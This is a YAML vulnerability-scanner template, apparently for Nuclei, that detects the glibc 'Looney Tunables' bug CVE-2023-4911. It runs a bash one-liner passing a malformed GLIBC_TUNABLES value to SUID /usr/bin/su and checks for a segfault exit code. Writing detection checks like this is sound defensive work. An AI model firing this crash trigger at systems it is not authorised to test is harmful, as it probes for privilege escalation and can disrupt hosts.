38 lines
1.5 KiB
YAML
38 lines
1.5 KiB
YAML
id: CVE-2023-4911
|
|
|
|
info:
|
|
name: Looney Tunables Linux - Local Privilege Escalation
|
|
author: nybble04
|
|
severity: high
|
|
description: |
|
|
A buffer overflow was discovered in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES environment variable. This issue could allow a local attacker to use maliciously crafted GLIBC_TUNABLES environment variables when launching binaries with SUID permission to execute code with elevated privileges.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-4911
|
|
- https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
|
|
- https://www.youtube.com/watch?v=1iV-CD9Apn8
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 7.8
|
|
cve-id: CVE-2023-4911
|
|
cwe-id: CWE-787
|
|
cpe: cpe:2.3:a:gnu:glibc:-:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: glibc
|
|
tags: cve,cve2023,glibc,looneytunables,linux,privesc,local
|
|
|
|
self-contained: true
|
|
code:
|
|
- engine:
|
|
- sh
|
|
- bash
|
|
source: |
|
|
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
|
|
echo $?
|
|
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "139" # Segmentation Fault Exit Code
|
|
# digest: 4a0a00473045022100ab601d17f876c027b979b30bf87c464bfb6bf88567e56e8a9142ce1aa366ac2b02207a2932229593dc3d8b4989c5b1b617e624eca041d6bf6426c534522287aaa346:922c64590222798bb761d5b6d8e72950
|